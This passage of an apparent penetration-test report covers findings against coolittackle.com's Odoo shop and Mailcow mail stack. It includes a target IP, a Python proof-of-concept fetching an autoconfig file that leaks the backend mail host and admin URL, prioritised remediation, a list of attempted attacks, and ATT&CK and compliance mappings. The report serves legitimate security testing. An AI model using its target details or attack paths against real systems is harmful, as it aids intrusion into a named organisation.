An unauthenticated attacker can learn the exact backend mail server, supported protocols/ports, and admin panel URL without any credentials. While this does not by itself grant mailbox access, it removes operational secrecy and helps an attacker focus brute-force, CVE-specific, or social-engineering attacks against the exposed mail stack. Combined with the publicly reachable SOGo webmail and Mailcow API surface, it increases the exposed attack surface for the organization’s email infrastructure.

TECHNICAL ANALYSIS

The autoconfig.coolittackle.com subdomain is an A record pointing to 99.92.203.205 (same as mail/webmail/imap/smtp/autodiscover). A GET request to /mail/config-v1.1.xml returns the Mailcow-generated Mozilla-style autoconfig XML. The document explicitly names mail.vpn2.work as the backend, lists every supported protocol and port, and embeds the admin panel URL. No authentication or client fingerprinting is performed before returning this XML.

PROOF OF CONCEPT

1. Open a browser or use curl to request https://autoconfig.coolittackle.com/mail/config-v1.1.xml?emailaddress=test@coolittackle.com
2. Observe HTTP 200 with Content-Type: application/xml.
3. The XML body contains `<emailProvider id="mail.vpn2.work">`, `<hostname>mail.vpn2.work</hostname>` for every incoming/outgoing server, and `<enable visiturl="https://mail.vpn2.work/admin">`.

```
import urllib.request, ssl
ctx = ssl.create_default_context()
url = 'https://autoconfig.coolittackle.com/mail/config-v1.1.xml?emailaddress=test@coolittackle.com'
req = urllib.request.Request(url, headers={'Accept': 'application/xml'})
resp = urllib.request.urlopen(req, context=ctx, timeout=10)
print(resp.status, resp.headers.get('Content-Type'))
print(resp.read().decode('utf-8')[:1500])
```

REMEDIATION

1. Restrict access to the autoconfig/autodiscover endpoints so they are only served to legitimate mail clients or trusted IP ranges, or remove them from public DNS if they are not required.
2. Avoid exposing the admin URL (mail.vpn2.work/admin) in auto-configuration files; configure clients manually or publish only the minimum required server settings.
3. Review whether mail.vpn2.work needs to be reachable from the public internet for autoconfig; consider serving autoconfig from a host that does not reveal internal hostnames.
4. Monitor the Mailcow/SOGo stack for available security updates and ensure admin/API endpoints are protected by strong authentication and IP restrictions.

Recommendations

IMMEDIATE (CRITICAL/HIGH)

- Restrict public access to `/web/database/manager` and related `/web/database/*` endpoints at the reverse proxy; disable database management/listing in production (`list_db = False`).
- Implement server-side validation on `/shop/cart/update` for quantity limits, stock checks, and signed/anti-tamper controls on cart line items.
- Enforce `website_form_signature` validation on `/website/form/` and whitelist allowed models and recipients.
- Validate and normalize the `Host`/`X-Forwarded-Host` headers, return a consistent canonical host, and add `Cache-Control`/`Vary` headers to prevent cache poisoning.

SHORT-TERM (MEDIUM)

- Disable verbose JSON-RPC/XML-RPC debug/traceback output in production to avoid leaking absolute server paths.
- Restrict `/web/webclient/version_info`, `/jsonrpc`, and `/xmlrpc/2/common` to authenticated sessions or trusted IPs, or disable unauthenticated version/database queries.
- Remove or restrict `autoconfig.coolittackle.com`/`autodiscover.coolittackle.com` exposure to prevent backend mail infrastructure disclosure.
- Ensure Mailcow/SOGo admin/API endpoints are IP-restricted and monitored.

MEDIUM-TERM / ONGOING

- Monitor Odoo 17.0 CVE advisories and apply security patches promptly.
- Implement rate limiting and WAF rules for management, RPC, and authentication endpoints.
- Review all website forms, e-commerce workflows, and RPC controllers for business-logic and access-control flaws.

- Re-test after remediation using the provided PoC scripts to validate fixes.

Next Steps

- Remediate the three high-severity findings first — each has a working proof-of-concept script in this report your engineers can run to confirm the fix.
- Book the remediation retest. It is included in the engagement: we re-run the proof of concept for every critical and high finding and reissue this report with confirmed closure status.
- Schedule the live briefing if you have not already. We walk your leadership and engineering teams through the attack paths above and answer questions against the evidence.
- Request the compliance mapping appendix if an auditor or cyber-insurance underwriter will read this — findings can be mapped to PCI DSS, SOC 2, HIPAA and NIST control references.
- Consider continuous testing rather than a single annual engagement. Both the cart and contact-form findings are the kind of business-logic regression that reappears with a release.

Appendix A — Attempted and Not Exploitable

Recorded so you can see the boundary of the testing: these were actively attempted against the target and did not succeed. A finding list alone does not tell you what was tried.

- Master password bypass against /web/database/backup, /duplicate, /drop and /create using HTTP parameter pollution — blocked in every variation.
- HTTP method tampering against the same management endpoints (GET, _method override, X-HTTP-Method-Override) — blocked.
- Content-type switching and JSON body substitution against the management endpoints — blocked.
- SQL injection across the unauthenticated attack surface — no exploitable instance found.
- Cross-site scripting, including the shop search parameter — no exploitable instance confirmed.
- Insecure direct object reference in the image endpoint — tested and not exploitable.
- Remote code execution via known platform CVEs for the identified version — not exploitable.
- Server-side request forgery — not confirmed anywhere in the unauthenticated surface.
- Subdomain takeover across enumerated subdomains — none available; SPF and DMARC are correctly configured to hard-fail.
- Password brute-forcing was explicitly excluded by the client in the rules of engagement and was not attempted.

Appendix B — MITRE ATT&CK Mapping

ID	Finding	MITRE ATT&CK technique
`vuln-0001`	Publicly Exposed Odoo Database Manager at /web/database/manager	T1190 — Exploit Public-Facing Application, T1592 — Gather Victim Host Information

ID	Finding	MITRE ATT&CK technique
vuln-0004	Cart Quantity / Order Total Manipulation via Unvalidated set_qty in /shop/cart/update	T1565.001 — Stored Data Manipulation
vuln-0006	Contact Form Integrity Control Bypass via Missing website_form_signature Enforcement	T1190 — Exploit Public-Facing Application
vuln-0002	Odoo JSON-RPC Verbose Traceback Information Disclosure	T1592.002 — Gather Victim Host Information: Software
vuln-0003	Odoo Version Information Disclosure via /web/webclient/version_info	T1592.002 — Gather Victim Host Information: Software
vuln-0005	Host Header Injection in /web/reset_password Allows URL Poisoning and Cache Poisoning	T1557 — Adversary-in-the-Middle
vuln-0007	Mailcow autoconfig exposes backend mail server hostname and admin URL	T1590.002 — Gather Victim Network Information: DNS

Appendix C — Compliance Mapping

Findings mapped to the control references your auditor will ask about.

ID	Finding	Control reference
vuln-0001	Publicly Exposed Odoo Database Manager at /web/database/manager	OWASP: A05:2021 Security Misconfiguration; PCI DSS: 2.2; SOC 2: CC6.1; NIST CSF: PR.IP-1
vuln-0004	Cart Quantity / Order Total Manipulation via Unvalidated set_qty in /shop/cart/update	OWASP: A04:2021 Insecure Design; PCI DSS: 6.5; SOC 2: CC8.1; NIST CSF: PR.DS-6
vuln-0006	Contact Form Integrity Control Bypass via Missing website_form_signature Enforcement	OWASP: A01:2021 Broken Access Control; PCI DSS: 6.5; SOC 2: CC6.1; NIST CSF: PR.AC-4
vuln-0002	Odoo JSON-RPC Verbose Traceback Information Disclosure	OWASP: A05:2021 Security Misconfiguration; PCI DSS: 6.5.5; SOC 2: CC6.1
vuln-0003	Odoo Version Information Disclosure via /web/webclient/version_info	OWASP: A05:2021 Security Misconfiguration; SOC 2: CC6.1
vuln-0005	Host Header Injection in /web/reset_password Allows URL Poisoning and Cache Poisoning	OWASP: A03:2021 Injection; PCI DSS: 6.5; SOC 2: CC6.7

ID	Finding	Control reference
vuln-0007	Mailcow autoconfig exposes backend mail server hostname and admin URL	OWASP: A05:2021 Security Misconfiguration; SOC 2: CC6.1